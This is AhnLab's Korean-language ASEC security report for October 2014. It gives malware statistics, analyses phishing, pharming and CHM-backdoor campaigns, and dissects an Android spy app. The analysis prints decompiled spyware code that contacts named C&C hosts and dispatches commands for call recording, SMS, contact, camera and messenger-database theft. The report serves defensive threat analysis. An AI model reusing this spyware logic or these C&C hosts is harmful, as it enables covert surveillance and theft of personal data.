Security Trend ASEC Report VOL.58 October, 2014
ASEC Report VOL.58 October, 2014 ASEC(AhnLab Security Emergency response Center) 은악성코드및보안위협으로부터고객을안전하게지키기위하여보안전문가로구성된 글로벌보안조직입니다. 이리포트는주식회사안랩의 ASEC 에서작성하며, 매월발생한주요보안위협과이슈에대응하는최신보안기술에대한요약정 보를담고있습니다. 자세한내용은안랩닷컴 (www.ahnlab.com) 에서확인하실수있습니다. 2014 년 10 월보안동향 1 보안통계 STATISTICS 01 악성코드통계 02 웹통계 03 모바일통계 Table of Contents 4 6 7 2 보안이슈 SECURITY ISSUE 01 에볼라바이러스안내문으로위장한스팸메일 02 PUP 파일을변조하여유포되는 파밍 악성코드 03 VPN 사용자겨냥한 CHM 악성코드주의 10 13 16 3 악성코드상세분석 Analysis-In-Depth 01 스마트폰에저장된개인정보를수집하는스파이앱 19 ASEC REPORT 58 Security Trend 2
1 보안통계 STATISTICS 01 악성코드통계 02 웹통계 03 모바일통계 ASEC REPORT 58 Security Trend
보안통계 01 악성코드통계 Statistics ASEC 이집계한바에따르면, 2014 년 10 월한달간탐지된악성코드수는 406 만 5,620 건으로나타났다. 이는전월 252 만 3,094 건보다 154 만 2,526 건증가한수치다. 한편 10 월에수집된악성코드샘플수는 457 만 2,315 건으로집계됐다. [ 그림 1-1] 에서 탐지건수 란고객이사용중인 V3 등안랩의제품이탐지한악성코드의수를의미하며, 샘플 수집수 는안랩이자체적으로수집한전체악성코드샘플수를의미한다. 5,000,000 4,000,000 4,065,620 3,000,000 2,000,000 2,897,479 2,523,094 1,000,000 0 3,596,157 8 월 4,650,555 9 월 4,572,315 10 월 탐지건수샘플수집수 [ 그림 1-1] 악성코드추이 ASEC REPORT 58 Security Trend 4
[ 그림 1-2] 는 2014 년 10 월한달간유포된악성코드를주요유형별로집계한결과이다. 불필요한프로 그램인 PUP(Potentially Unwanted Program) 가 55% 로가장높은비중을차지했고, 트로이목마 (Trojan) 계열의악성코드가 27.3%, 애드웨어 (Adware) 가 5.63% 로그뒤를이었다. 0.32% 4.53% 5.63% 55% 7.22% 27.3% PUP Trojan etc Adware Worm Downloader [ 그림 1-2] 주요악성코드유형 [ 표 1-1] 은 10 월한달간가장빈번하게탐지된악성코드 10 건을진단명기준으로정리한것이다. Adware/Win32.SwiftBrowse 가총 50 만 6,799 건으로가장많이탐지되었고, Trojan/Win32.Agent 가 17 만 1,157 건으로그뒤를이었다. [ 표 1-1] 악성코드탐지최다 10건 ( 진단명기준 ) 순위 악성코드진단명 탐지건수 1 Adware/Win32.SwiftBrowse 506,799 2 Trojan/Win32.Agent 171,157 3 Adware/Win32.SearchSuite 161,174 4 PUP/Win32.SwiftBrowse 104,019 5 Trojan/Win32.OnlineGameHack 102,738 6 PUP/Win32.IntClient 90,832 7 Trojan/Win32.Starter 76,924 8 Adware/Win32.Agent 75,492 9 ASD.Prevention 64,545 10 PUP/Win32.MyWebSearch 57,111 ASEC REPORT 58 Security Trend 5
보안통계 02 웹통계 Statistics 2014 년 10 월악성코드유포지로악용된도메인은 1,365 개, URL 은 1 만 8,431 개로집계됐다. 또한 10 월 의악성도메인및 URL 차단건수는총 608 만 1,235 건이다. 악성도메인및 URL 차단건수는 PC 등시스 템이악성코드유포지로악용된웹사이트에접속하는것을차단한수이다. 7,000,000 6,081,235 6,000,000 5,343,498 5,000,000 4,000,000 3,545,673 3,000,000 2,000,000 40,000 30,000 30,918 20,000 15,842 18,431 10,000 1,902 1,338 1,365 악성도메인 /URL 차단건수 악성코드유포도메인수 0 8 월 9 월 10 월 악성코드유포 URL 수 [ 그림 1-3] 악성코드유포도메인 /URL 탐지및차단건수 ASEC REPORT 58 Security Trend 6
보안통계 03 모바일통계 Statistics 2014 년 10 월한달간탐지된모바일악성코드는 10 만 2,335 건으로나타났다. 250,000 200,000 150,000 100,000 74,413 75,938 102,335 50,000 0 8 월 9 월 10 월 [ 그림 1-4] 모바일악성코드추이 ASEC REPORT 58 Security Trend 7
[ 표 1-2] 는 10 월한달간탐지된모바일악성코드유형중상위 10 건을정리한것이다. Android-Trojan/ FakeInst 가지난달보다 5,372 건증가한 2 만 683 건이었으며, Android-PUP/Noico, Android-PUP/ Chitu 와같은새로운유형의 PUP 가발견되었다. [ 표 1-2] 유형별모바일악성코드탐지상위 10 건 순위악성코드진단명탐지건수 1 Android-Trojan/FakeInst 20,683 2 Android-PUP/SmsReg 13,095 3 Android-PUP/Dowgin 12,098 4 Android-Trojan/Opfake 9,438 5 Android-Trojan/SMSAgent 3,783 6 Android-PUP/Chitu 2,973 7 Android-Trojan/SmsSend 2,704 8 Android-Trojan/SmsSpy 2,197 9 Android-PUP/Wapsx 2,135 10 Android-PUP/Noico 2,078 ASEC REPORT 58 Security Trend 8
2 보안이슈 SECURITY ISSUE 01 에볼라바이러스안내문으로위장한스팸메일 02 PUP 파일을변조하여유포되는 파밍 악성코드 03 VPN 사용자겨냥한 CHM 악성코드주의 ASEC REPORT 58 Security Trend
보안이슈 01 에볼라바이러스안내문으로위장한스팸메일 Security Issue 에볼라바이러스에대한공포감이확산되고있는가운데사람들의불안한심리를악용한스팸메일과악성코드가발견되었다. [ 그림 2-1] 은이번에발견된에볼라관련스팸메일이며, 첨부파일에악성코드가포함되어있어주의가요구된다. 메일본문에는 WHO 로고와이름을사용하여 WHO( 세계보건기구 ) 에서발송한것처럼위장하였다. 사람들이오해하기쉽다. 게다가에볼라바이러스에대한불안감이확산되고있는상황에서 WHO가제공하는 에볼라바이러스로부터안전해지는방법 에관한내용이라면사람들의호기심을자극하기에충분하다. 그림 2-2 첨부된압축파일을해제하면생성되는파일 그림 2-1 WHO 로위장하여발송된스팸메일 해당메일의첨부파일은 rar 압축파일이다. 압축된이파일을해제하면 [ 그림 2-2] 와같이 exe 파일이생성된다. 실행파일의아이콘은흰색이어서윈도탐색기에서확인하면 [ 그림 2-2] 와같이파일명만보인다. 발신자의메일주소확인결과, WHO가보낸메일이아니다. 실제 WHO의홈페이지주소는 www.who. int이며메일발송자의이메일주소는 who@care. com이다. 도메인이달라서쉽게발견할수도있지만, 메일주소앞의아이디가 who로표기되어있어 그림 2-3 첨부된압축파일을해제하면생성되는실행파일의생성시간 ASEC REPORT 58 Security Trend 10
스팸메일은최근발생하고있는에볼라바이러스의이슈를이용하여유포되었다. 하지만실제실행파일은 [ 그림 2-3] 과같이 2013년 8월 22일에생성되었음을확인할수있다. 이처럼최근이슈를악용하여악성코드를유포하더라도예전에제작한악성코드를재활용하는경우도있다. 그림 2-5 난독화된 AutoIt 스크립트파일을실행하는부분 [ 표 2-1] 의 dhkta.bvi 파일을확인하면 [ 그림 2-5] 와같이 Excute(BinaryToString( ) 의문자열을통해난독화된스크립트를실행한다. AutoIt으로작성된난독화스크립트이다. 최초의악성파일이실행될때생성된 nxjqw.cmd 파일에의해실행된다. 그림 2-4 실행파일형태의 RAR SFX 압축파일 [ 그림 2-4] 와같이파일정보는실행파일형태의 RAR SFX 압축파일이다. 압축파일인점에서다수의파일이생성될수있음을예상할수있다. 또한압축파일이해제되면서동시에특정파일이실행될가능성도예측할수있다. 실제로해당파일은 [ 표 2-1] 과같이동작한다. 표 2-1 압축파일해제후특정파일실행 [ 생성되는파일 ] C: Documents and Settings Administrator Application Data eaedq 폴더에약 40여개의파일 [ 시작프로그램등록 ] HKLM SOFTWARE Microsoft Windows CurrentVersion Run WindowsUpdate "C Documents and Settings Administrator Application Data eaedq nxjqw.cmd C: DOCUME~1 ADMINI~1 APPLIC~1 eaedq dhkta.bvi" 그림 2-6 AutoIt 스크립트실행을돕는 nxjqw.cmd 파일 [ 그림 2-6] 과같이 nxjqw.cmd의정보는 AutoIt 스크립트의실행을돕는 AutoIt3.exe 파일이다. 해당 nxjqw.cmd 파일에의해 dhkta.bvi 스크립트가실행되면서다음과같은특정 IP 주소로통신을시도한다. [ 네트워크연결시도 ] 5.**4.1*2.*6:1**4 해당악성코드에감염되면사용자의 PC 정보를탈취 ASEC REPORT 58 Security Trend 11
하는등개인정보유출로인한피해가발생할수있어주의가필요하다. 특히최근이슈에대한제목의스팸메일의경우다음과같은사항을준수하여피해가발생하지않도록사전에예방해야한다. [ 안전한이메일사용법 ] 발신인이불분명한메일은열람금지 최신의백신엔진유지와실시간감시활성화 첨부파일은백신검사후실행및열람 본문의 URL은가급적접속하지말것 확장명숨기기기능해제하기 V3 제품에서는관련악성코드를다음과같이진단하 고있다. <V3 제품군의진단명 > Trojan/Win32.DarkKomet (2014.10.25.00) Trojan/Win32.MDA (2014.10.17.00) ASEC REPORT 58 Security Trend 12
보안이슈 02 PUP 파일을변조하여유포되는 파밍 악성코드 Security Issue 최근불필요한프로그램 (Potentially Unwanted program, PUP) 을통해공인인증서와개인정보등을탈취하는사례가발생하고있어주의가요구된다. 이번에발견된악성코드는불필요한프로그램설치파일을변조하여유포되었다. 변조된설치파일을실행하면 [ 그림 2-7] 과같이인터넷쇼핑몰의바로가기아이콘이생성된다. 그림 2-8 시작프로그램레지스트리에등록된악성파일 Hfkhm.exe 파일이 [ 표 2-3] 의명령어를수행하면사용자의공인인증서가복사된다. 표 2-3 악성코드에의해실행되는명령어 그림 2-7 바탕화면에생성된바로가기아이콘 이후악성코드는 [ 표 2-2] 와같이파일을추가로생성한다. 표 2-2 추가생성된파일 [ 파일생성정보 ] C: hal SSI.exe C: hal SUB_1.exe C: 3XVXP131VD1UP124[ 랜덤한폴더명 ] Hfkhm[ 랜덤한파일명 ].exe [ 표 2-2] 에서생성된 SSI.exe 와 Hfkhm.exe 파일은 [ 시작프로그램 ] 의레지스트리에등록되며시스템재시작시자동으로실행된다. [ 명령어 ] xcopy.exe CREATE C: Lfyojjfq xcopy.exe CREATE C: Lfyojjfq yessign xcopy.exe CREATE C: Lfyojjfq yessign 098f6bcd4621d373 cade4e832627b4f6.der 복사된공인인증서는 [ 그림 2-10] 과같이압축되어 C&C 서버로전송된다. 그림 2-9 압축파일에존재하는공인인증서 ASEC REPORT 58 Security Trend 13
[ 그림 2-12] 의팝업이미지를클릭하면위조된은행사이트로연결된다. 사용자가위조된은행사이트내부를클릭하면 [ 그림 2-13] 과같이팝업창이나타나며, 보안관련재인증을요구한다. 그림 2-10 C&C 서버로전송되는압축파일 이후 Hfkhm.exe 파일은 [ 그림 2-11] 과같이호스 트 (hosts) 파일을변조한다. 그림 2-13 보안관련재인증을요구하는창 [ 그림 2-15] 와같이개인정보탈취페이지를통해입 력된정보는 C&C 서버로전송된다. 그림 2-11 변조된호스트 (hosts) 파일 [ 그림 2-12] 와같이감염된시스템에서주요포털사 이트나은행사이트에접속하면변조된호스트파일에의해파밍사이트로연결된다. 그림 2-14 개인정보입력페이지 ( 좌 )/ 금융정보입력페이지 ( 우 ) 그림 2-12 금융감독원을사칭한파밍사이트 그림 2-15 C&C 서버로전송되는입력된정보 ASEC REPORT 58 Security Trend 14
[ 그림 2-15] 와같이사용자가입력한금융정보는암 호화되지않은상태로전송된다. 따라서네트워크상에노출되어있어 2차피해가발생할수있다. [ 그림 2-16] 과같이정상적인은행사이트는주소창이녹색 ( 신뢰할수있는사이트 ) 으로표시된다. 은행등금융기관은어떠한경우에도보안카드의모든정보를요구하지않는다는점을염두에둔다면피해를최소화할수있을것이다. 그림 2-16 정상적인은행사이트주소창 ( 상 ) 위조된은행사이트주소창 ( 하 ) V3 제품에서는관련악성코드를다음과같이진단하고있다. <V3 제품군의진단명 > Dropper/Win32.MulDrop (2014.10.28.05) PUP/Win32.ShortCut (2013.12.12.03) Trojan/Win32.Palevo (2014.10.29.00) ASEC REPORT 58 Security Trend 15
보안이슈 Security Issue 03 VPN 사용자겨냥한 CHM 악성코드주의 국가기관정보시스템의 VPN 사용자를대상으로악성코드가유포되었다. 해당악성코드는 [ 그림 2-17] 과헬프 (Help) 파일로위장하였으며, CHM 파일에는 [ 표 2-4] 와같이다음의파일들이포함되어있다. 표 2-4 CHM 에포함되어있는파일들 msupdate.exe 가실행된다. 그림 2-18 object 태그를이용하여악성파일 (msupdate.exe) 실행 /index.htm - 악성파일을로드 / 제목없음.jpg - 사용자를속이기위한그림파일 /msupdate.exe - 악성파일 악성코드에포함되어있는 제목없음.jpg 의내용은 [ 그림 2-17] 과같다. msupdate.exe는리소스영역에 [ 그림 2-19] 와같이 DLL을포함하고있으며, 실행시해당 DLL을 Application Management 라는이름의서비스로등록시킨다 ( 서비스메인이름 iamcoming ). 그림 2-19 리소스영역에포함되어있는 DLL( 상 ) 해당 DLL을서비스로등록 ( 하 ) 그림 2-17 CHM 실행화면 ( 제목없음. JPG) CHM 파일을실행하면 [ 그림 2-18] 과같은형식 의 index.htm 이실행되는데, 이때악성파일인 등록된 DLL은 C&C인 express.xxxxxx.com: 80(1x5.4x.2xx.1xx) 과통신하며, 사용자 PC 명과 IP 주소등의시스템정보를수집하여서버로보내고두개의스레드를생성하여명령을주고받는다. 이때패킷은암호화되어있으며보낼때에는 0x67, 받을때는 0x11 로, 각각 XOR로연산하여전송된다. ASEC REPORT 58 Security Trend 16
그림 2-20 난독화된패킷 ( 좌 )/ 복호화된패킷 ( 우 ) 해당악성코드는서버에서받아온명령 (ipconfig / all, cd, dir 등 ) 을통해 PC에있는디렉터리리스트나 IP 정보를계속유출한다. 서버에서받아온명령을그대로실행하면더많은악성행위가이루어질수있다. 따라서수신된메일의의심스러운 CHM 파일은열람을자제하는등사용자의각별한주의가필요하다. V3 제품에서는해당악성코드를다음과같이진단하고있다. <V3 제품군의진단명 > Dropper/Agent (2014.10.31.05) Trojan/Win32.Backdoor (2014.10.30.03) ASEC REPORT 58 Security Trend 17
3 악성코드상세분석 Analysis-In-Depth 01 스마트폰에저장된개인정보를수집하는스파이앱 ASEC REPORT 58 Security Trend
악성코드상세분석 01 스마트폰에저장된개인정보를수집하는스파이앱 Analysis-In-Depth 지금까지스미싱악성앱은소액결제나금융정보유출등사용자의금전적인피해를유발하는유형이주를이뤘다. 그러나최근스마트폰에저장된개인정보를유출해 2차적인피해를유발하는유형이증가하고있어주의가요구된다. 지난 10월, 메신저애플리케이션 DB를탈취하는악성앱이언론을통해알려졌다. 사용자정보를유출하는악성앱으로, V3 모바일 (V3 Mobile) 은해당악성앱을 Android-Trojan/MobileSpy로진단하고있다. Android-Trojan/MobileSpy는지난 9 월 15일안랩모바일악성코드자동분석시스템에서최초확인된이후꾸준히변형이나타나고있다. 설치및동작스미싱등을통해전파되는악성앱인 Android- Trojan/MobileSpy가설치시요구하는권한은 [ 그림 3-1] 과같다. 전화, 문자, 사진, 동영상, 위치, 연락처등에대한접근권한과오디오녹음권한, 저장소접근권한등을요구하며스마트폰시작시자동으로실행될수있다는점등일반적인앱이요구하는내용과는차이를보인다. Android-Trojan/MobileSpy는지속적으로 C&C 서버로의연결을시도하고이를통해공격자의명령을받아수행한다. 주요기능은 통화내용녹음 SMS 문자발송 SMS 및통화수 발신내역유출 메신저애플리케이션 DB의대화내용을복호화한후유출하는행위등이다. 전형적인스파이앱으로, 스마트폰에저장된모든정보를외부로유출할수있어 2차피해가우려된다. 그림 3-1 Android-Trojan/MobileSpy 설치시권한요구 해당앱이설치되면 ILoveYou 라는이름의앱이스마트폰화면에나타난다. 이때주로사용되는아이콘은 [ 그림 3-2] 와같이 2가지이며, 스마트폰의해상도에따라다르게보일수있다. ASEC REPORT 58 Security Trend 19
상세기능분석앞서악성앱이실행될때나타나는증상을살펴보았다. 지금부터해당악성앱의상세한기능을알아본다. 먼저안드로이드앱의명세를가진 AndroidManifest.xml 파일을살펴보자. 그림 3-2 Android-Trojan/MobileSpy 설치시아이콘그림 3-3 Android-Trojan/MobileSpy 설치화면 사용자가해당앱을실행하면화면만깜빡일뿐실행과관련된별도의화면이나타나지않는다. 그러나 Android-Trojan/MobileSpy가실행되면 CPU 정보, 화면크기, 네트워크상태등의기본정보를 C&C 서버로전송한다. 그림 3-4 Android-Trojan/MobileSpy 실행시전송되는정보 <?xml version='1.0' encoding='utf-8'?> <manifest xmlns:android= "http://schemas.android.com/apk/res/android" android:versioncode="1" android:versionname="4.1.0.1" package="com. server"> <uses-sdk android:minsdkversion="3"/> 중략 <service android:name=".bootservice"> <intent-filter> <action android:name="com.server.bootservice"/> </intent-filter> </service> <service android:name=".phonelistenerservice"> <intent-filter> <action android:name="com.server.phone- ListenerService"/> </intent-filter> </service> 중략 <receiver android:name=".sdcardbroadcastreceiver"> <intent-filter> <action android:name="android.intent.action.media_ SCANNER_FINISHED"/> <data android:scheme="file"/> </intent-filter> </receiver> </application> <permission android:name="android.permission.baidu_ LOCATION_SERVICE"/> BAIDU_LOCATION_SERVICE"/> ACCESS_COARSE_LOCATION"/> ACCESS_NETWORK_STATE"/> INTERNET"/> ACCESS_WIFI_STATE"/> CHANGE_WIFI_STATE"/> ASEC REPORT 58 Security Trend 20
READ_SMS"/> SEND_SMS"/> WRITE_SMS"/> RECEIVE_BOOT_COMPLETED"/> PROCESS_OUTGOING_CALLS"/> READ_PHONE_STATE"/> READ_CONTACTS"/> MOUNT_UNMOUNT_FILESYSTEMS"/> WRITE_EXTERNAL_STORAGE"/> ACCESS_FINE_LOCATION"/> RECORD_AUDIO"/> CAMERA"/> VIBRATE"/> READ_LOGS"/> WRITE_SETTINGS"/> </manifest> AndroidManifest를통해해당앱의인터넷접속, 와이파이 (Wi-Fi) 접근및네트워크상태를확인하며단말기에저장된연락처정보, 송 수신한 SMS의내용, 수 발신전화를사용할수있는권한등이있음을확인할수있다. 진동, 카메라, 오디오녹음기능등도포함하고있다. 또한스마트폰의인텐트 (Intent) 를받아동작하는주요서비스와리시버로부팅인텐트를필터링해동 작하는 BootService 가있으며전화수신시동작하는 PhoneListenerService 가있음을알수있다. 이처럼 AndroidManifest에서나타난권한과리시버, 서비스정보로미루어볼때 Android-Trojan/ MobileSpy는스마트폰의리소스중카메라, 음성녹음을인위적으로사용할수있고통화문자와관련된기록및통화내용에대한접근도가능하다는것을추측할수있다. [ 그림 3-5] 는안랩모바일악성코드분석도구를통해해당앱을구성하는클래스들의관계를시각화한것으로, 특히해당앱의아이콘을클릭했을때동작하는클래스들을표현한것이다. 그림 3-5 최초실행시동작하는클래스관계 1. MainActivity [ 그림 3-5] 의클래스중런처에서해당앱의아이콘을클릭하여최초실행하면, MainActivity 클래스가실행된다. ASEC REPORT 58 Security Trend 21
MainActivity 2. BootService BootService 서버통신연결 기본정보 (CPU 정보, 화면크기, 네트워크상태 ) 서버로전송 BootService 303054638.meibu.net / 1086 연결 www.g0oo0gle.com / 1086 연결 PhoneListenerService 통화녹음 LocationClient 위치정보 그림 3-6 MainActivity 클래스구조 MainThread 서버연결후 CPU 정보, 화면정보, 메모리정보, 네트워크연결상태서버로전송 MainActivity는 BootService와 PhoneListenerService를실행한다. BootService는 C&C 서버와통신을확인하고 CPU 정보, 화면크기, 네트워크상태등스마트폰의정보를 C&C 서버로전달하는기능을가지며, PhoneListenerService는통화를녹음하는기능을갖고있다. 이와관련된코드는다음과같다. 그림 3-7 BootService 클래스구조 BootService는 Baidu LocationClient를실행하고지정된 C&C 서버로연결해사용자정보를외부로전달한다. Baidu LocationClient는 Baidu 에서제작및배포하는위치정보획득관련라이브러리로, liblocsdk3.so라는네이티브라이브러리다. package com.server; public class MainActivity extends Activity { void Start() { SystemInfo.m_pMainIntent = new Intent(); SystemInfo.m_pMainIntent.setAction("com.server. BootService"); this.startservice(systeminfo.m_pmainintent); SystemInfo.m_pPhoneListenIntent = new Intent(); SystemInfo.m_pPhoneListenIntent.setAction("com.server. PhoneListenerService"); this.startservice(systeminfo.m_pphonelistenintent); return; protected void oncreate(bundle p4) { super.oncreate(p4); this.setcontentview(2130903041); this.findviewbyid(2131230721); this.start(); this.finish(); return; public class BootService extends Service { void Start(Service p10) { SystemInfo.m_LocationClient = new LocationClient(this. getapplicationcontext()); if(new DataFile(p10, SystemInfo._strOnlineFile).isFileExit() == 0) { SystemInfo.m_strHost = new String(Base64. decode(systeminfo.m_strhost.getbytes(), 0)); SystemInfo.m_strHost = SystemInfo. GetFromAssets(p10, "OnLine.txt"); this.m_mainthread = new MainThread(); this.m_mainthread.setconnethost(systeminfo.m_ strhost, SystemInfo.m_nPort); this.m_mainthread.setactivity(p10); new Thread(this.m_mainThread).start(); Thread.sleep(10000.0); SystemInfo.m_strHost2 = new String(Base64. decode(systeminfo.m_strhost2.getbytes(), 0)); ASEC REPORT 58 Security Trend 22
this.m_mainthread2 = new MainThread(); this.m_mainthread2.setconnethost(systeminfo.m_ strhost2, SystemInfo.m_nPort); this.m_mainthread2.setactivity(p10); new Thread(this.m_mainThread2).start(); return; public void oncreate() { super.oncreate(); this.m_service = this; this.start(this); return; BootService가실행되면먼저위치정보확인을위해 LocationClient 객체를생성한후내부에 isonlie.dat가있는지확인한다. isonlie.dat가없으면 OnLine.txt에서호스트 URL의주소를읽고읽어온주소로접속한다. 분석한앱이접속하는 URL 은 303054638.meibu.net이다. 10초후내부에 Base64 인코딩된주소인 www.g0oo0gle.com 으로접속한다. 3. MainThread MainThread는 sendonlinemessage를실행한후 MainManager를실행한다. public class MainThread implements Runnable { public void run() { while(true) { if(this.m_mainmanager.bconnected) { this.m_mainmanager = new MainManager(); this.m_mainmanager.setactivity(this.m_activity); this.m_mainmanager.setconnethost(this.m_strhost, this.m_nport); if(this.m_mainmanager.initsock()!= 0) { this.sendonlinemessage(); new Thread(this.m_mainManager).start(); Thread.sleep(10000.0); sendonlinemessage는다음과같이시스템정보를수집해 C&C 서버로전송한다. public void sendonlinemessage() { v1 = new byte[501]; v5 = new SystemInfo(); v5.setactivity(this.m_activity); v1[0] = 50; v2 = v5.getcpuinfo().getbytes("unicode"); System.arraycopy(v2, 0, v1, 1, v2.length); v2 = v5.gettotalmemory().getbytes("unicode"); System.arraycopy(v2, 0, v1, 101, v2.length); v2 = v5.getheightandwidth().getbytes("unicode"); System.arraycopy(v2, 0, v1, 201, v2.length); v2 = new StringBuilder(String.valueOf(SystemInfo.ReadWriteStact(this. m_context))).append(systeminfo._strversion).tostring(). getbytes("unicode"); System.arraycopy(v2, 0, v1, 301, v2.length); v1[401] = v5.getnetworkstat(); this.m_mainmanager.m_clientsock.sendbuffer(v1, 501); return; 4. MainManager MainManager는 C&C 서버에서전달한명령을확인하고수행한다. [ 그림 3-8] 은안랩모바일악성코드분석도구를이용해 MainManager를시각화한것이다. ASEC REPORT 58 Security Trend 23
MainManager 는서버의명령에따라동작하며가 능한동작은다음과같다. PhoneBookManager 서버에서수신한값이 0 인경우, PhoneBookManager 객체가생성되고지정된서버로연락처정보를전송한다. 그림 3-8 MainManager 관련클래스관계 [ 그림 3-8] 의클래스명을다시단순화하면 [ 그림 3-9] 와같으며, 이는해당앱이실행하는명령들을의미한다. PhoneRecodeManager 서버에서수신한값이 1 인경우, PhoneRecode- Manager를생성하고서버와연결한다. 서버로 52 를전송하고 PhoneRecodeManager를시작한다. PhoneRecodeManager는통화기록을서버로전송한다. 그림 3-9 악성앱이수행하는주요명령 public class MainManager extends ClientManager { public void OnRecive(byte[] p26, int p27) { switch(p26[0]) { case 0: v16 = new PhoneBookManager(); v16.setconnethost(this.m_strhost, this.m_nport); if (v16.initsock() == 0) { else { v16.setactivity(this.m_activity); v16.sendstart(); new Thread(v16).start(); break; 통화녹음은 PhonelistenerService에의해수행된다. PhonelistenerService는통화상태를계속확인하고전화가수신되면 strphonenumber 에수신전화번호를기록하고통화가시작되면 sdcardpath/anserver/ 에 수신번호MMdd- hhmm.amr 이라는이름으로통화내용을녹음한다. 통화가종료되면녹음을멈춘다. case 1: v17 = new PhoneRecodeManager(); v17.setconnethost(this.m_strhost, this.m_nport); if (v17.initsock() == 0) { else { v17.setactivity(this.m_activity); v17.sendstart(); new Thread(v17).start(); break; ASEC REPORT 58 Security Trend 24
MessageManager 서버에서수신한값이 2 인경우, Message- Manager를생성하고서버와통신한다. 서버로 53 을전송하고 MessageManager를시작한다. 서버로부터수신한값에따라 SMS와관련된작업을수행한다. case 2: v11 = new MessageManager(); v11.setconnethost(this.m_strhost, this.m_nport); if (v11.initsock() == 0) { else { v11.setactivity(this.m_activity); v11.sendstart(); new Thread(v11).start(); break; FileManager 서버에서수신한값이 3 인경우, FileManager를생성하고서버와통신한다. 서버로 54 를전송하고 FileManager를시작한다. FileManager는단말기에저장된파일에대한작업을수행한다. case 3: v6 = new FileManager(); v6.setconnethost(this.m_strhost, this.m_nport); if (v6.initsock() == 0) { else { v6.setactivity(this.m_activity); v6.sendstart(); new Thread(v6).start(); break; MainThread 서버에서수신한값이 7 인경우, 함께수신한 URL 과 Port로 C&C 주소를변경한다. 변경된주소가설정되면 MainThread를다시시작한다. case 7: v9 = new byte[(p27-1)]; v10 = new MainThread(); new String(); System.arraycopy(p26, 1, v9, 0, (p27-1)); v21 = new String; v21(v9, "UTF-8"); v14 = v21.length(); if (v14 <= 0) { else { v13 = v21.indexof(":"); v10.setconnethost(v19, Integer.parseInt(v21. substring((v13 + 1), v14))); v10.setactivity(this.m_activity); new Thread(v10).start(); break; LocationManager 서버에서수신한값이 8 인경우, Location- Manager를생성하고서버와통신한다. 서버로 57 을전송하고 LocationManager를시작한다. LocationManager는단말기의위치정보를서버로전송한다. case 8: v8 = new LocationManager(); v8.setconnethost(this.m_strhost, this.m_nport); if (v8.initsock() == 0) { else { v8.setactivity(this.m_activity); v8.sendstart(); new Thread(v8).start(); break; ASEC REPORT 58 Security Trend 25
UnInstall 서버에서수신한값이 9 인경우, UnInstall을호출한다. Uninstall은 isonlie.dat 파일을생성하고 ok로초기화한다. case 9: this.uninstall(); break; case 14: v4 = new CameraManager(); v4.setconnethost(this.m_strhost, this.m_nport); if (v4.initsock() == 0) { else { v4.setactivity(this.m_activity); v4.sendstart(); new Thread(v4).start(); break; RecodeManager 서버에서수신한값이 10 인경우, Recode- Manager를생성하고서버와통신한다. 서버로 58 을전송하고 RecodeManager를시작한다. RecodeManager는음성녹음을수행하고데이터를서버로전송한다. case 10: v18 = new RecodeManager(); v18.setconnethost(this.m_strhost, this.m_nport); if (v18.initsock() == 0) { else { v18.setactivity(this.m_activity); v18.sendstart(); new Thread(v18).start(); break; CameraManager 서버에서수신한값이 14 인경우, Camera- Manager를생성하고서버와통신한다. 서버로 60 을전송하고 CameraManager를시작한다. CameraManager는 Autofocus를이용해사진을촬영한후 SDCard/AnServer/ CamMMddhhmm.jpg 형식으로저장하고이를서버로전송한다. Ko***Manager 서버에서수신한값이 30 인경우, Ko***- Manager를생성하고서버와통신한다. 서버로 80 을전송하고 Ko***Manager를시작한다. Ko***Manager는디바이스에저장된메신저애플리케이션 DB 내용을서버로전송한다. 단, 해당메신저의대화내용은다른앱에서접근할수없는디렉터리에저장되기때문에루팅된단말기에서만이기능이동작한다. case 30: v7 = new Ko***Manager(); v7.setconnethost(this.m_strhost, this.m_nport); if (v7.initsock() == 0) { else { v7.setactivity(this.m_activity); v7.sendstart(); new Thread(v7).start(); break; 지금까지상세분석을통해살펴본 Android- Trojan/MobileSpy의주요기능을요약하면 [ 그림 3-10] 과같다. ASEC REPORT 58 Security Trend 26
PhoneListenerService 통화음성녹음 PhoneBookManager 단말기, SIM 카드에있는연락처정보전송 PhoneRecodeManager MessageManager FileManager LocationManager 통화기록전송 SMS 기록전송 서버에서수신번호와내용을 SMS 수신함에저장 수신한번호와내용을 SMS 전송 특정파일서버전송 파일제거 GPS 위치정보전송 RecodeManager 일정시간음성녹음 녹음파일전송 CameraManager 사진촬영 Ko *** Manager 메신저앱 DB 내용복호화시도 서버전송 그림 3-11 Android-Trojan/MobileSpy 제거방법 그림 3-10 악성앱주요기능 다행인 (?) 점은 Android-Trojan/MobileSpy 는관리자권한을요구하지않기때문에 V3 모바일등모바일백신으로제거할수있으며, 또는 [ 그림 3-11] 과같이애플리케이션정보에서삭제버튼을이용하면쉽게제거된다. 스미싱등을통해전파되는악성앱은대부분사용자의방심이나부주의에서설치된다. 악성앱을통한개인정보유출이나금전적인피해를예방하기위해서는스마트폰애플리케이션설치시요구하는권한에대해주의깊게살펴보는습관이필요하며모바일백신을이용하는것도바람직하다. ASEC REPORT 58 Security Trend 27
ASEC REPORT vol.58 October, 2014 집필 안랩시큐리티대응센터 (ASEC) 발행처 주식회사안랩 편집 안랩콘텐츠기획팀 경기도성남시분당구판교역로 220 디자인 안랩 UX디자인팀 T. 031-722-8000 F. 031-722-8901 본간행물의어떤부분도안랩의서면동의없이복제, 복사, 검색시스템으로저장또는전송될수없습니다. 안랩, 안랩로고는안랩의등록상표입니다. 그외다른제품또는회사이름은해당소유자의상표또는등록상표일수있습니다. 본문서에수록된정보는고지없이변경될수있습니다. 2014 AhnLab, Inc. All rights reserved.